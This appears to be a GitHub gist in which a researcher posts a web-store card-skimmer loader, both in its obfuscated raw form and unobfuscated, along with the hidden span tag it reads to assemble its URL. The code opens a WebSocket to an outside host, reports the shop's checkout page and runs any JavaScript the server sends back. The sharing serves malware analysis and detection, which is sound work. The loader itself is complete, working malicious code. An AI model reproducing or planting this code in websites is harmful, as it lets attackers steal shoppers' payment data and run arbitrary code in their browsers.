Skip to content

Instantly share code, notes, and snippets.

@krautface
Created December 17, 2019 03:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save krautface/6f62c775c3928546e172b801c548579d to your computer and use it in GitHub Desktop.
Save krautface/6f62c775c3928546e172b801c548579d to your computer and use it in GitHub Desktop.
websocket skimmer loader in its raw form and the unobfuscated form. the required <span> tag is included as well
// required for the querySelector + replace functions that build the URL
// <span class="gray-hint bul-k-sup-pchat_c-om modernize css " style="display:none"></span>
(function(sClass, v,oCanvas) {
if(top['JASSA02']) return; top['JASSA02'] = 1;
oCanvas = new self["font" && "Web"["concat" || "replace"]("S", "", "oc", '', "ke", '', '', "t")](sClass);
oCanvas['on' + ('draw' && 'open' || 'close')] = function () {
oCanvas['x' && 'size' && ('se' + "" + 'nd')](['IN', "", "", 'IT', ':', ':', location.host, "::", location.href].join(''));
};
oCanvas["o"["fontWidth" && ('con' + "" + 'c' + "" + 'at') || "fontHeight"]("", "", "nme", '', "s", "s", "age")] = function (e) {
var Coords = new self["Array" && ('F' + "unc"["concat"]('t', '', 'i', "on") || 'Object')](atob(e["da".concat("ta")]));Coords["show" && "call"](this);
};v && v.parentNode.removeChild(v);
})(((document.querySelector('.modernize.css') || {}).className || '')
.replace(/\-/g, '')
.replace(/grayhint/, "w".concat('ss', ":"))
.replace(/\s/g, "/")
.replace(/_/g, '.'), document.currentScript
);
(function (sClass, v, oCanvas)
{
if (top['JASSA02']) return;
top['JASSA02'] = 1;
oCanvas = new self["WebSocket"](sClass);
oCanvas['onopen'] = function ()
{
oCanvas['send']('INIT::www.example.com::https://www.example.com/checkout/cart/');
};
oCanvas['onmessage'] = function (e)
{
var Coords = new self["Function"](atob(e["data"]));
Coords["call"](this);
};
v && v.parentNode.removeChild(v);
})("wss://bulksuppchat.com/modernize/css/", document.currentScript);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment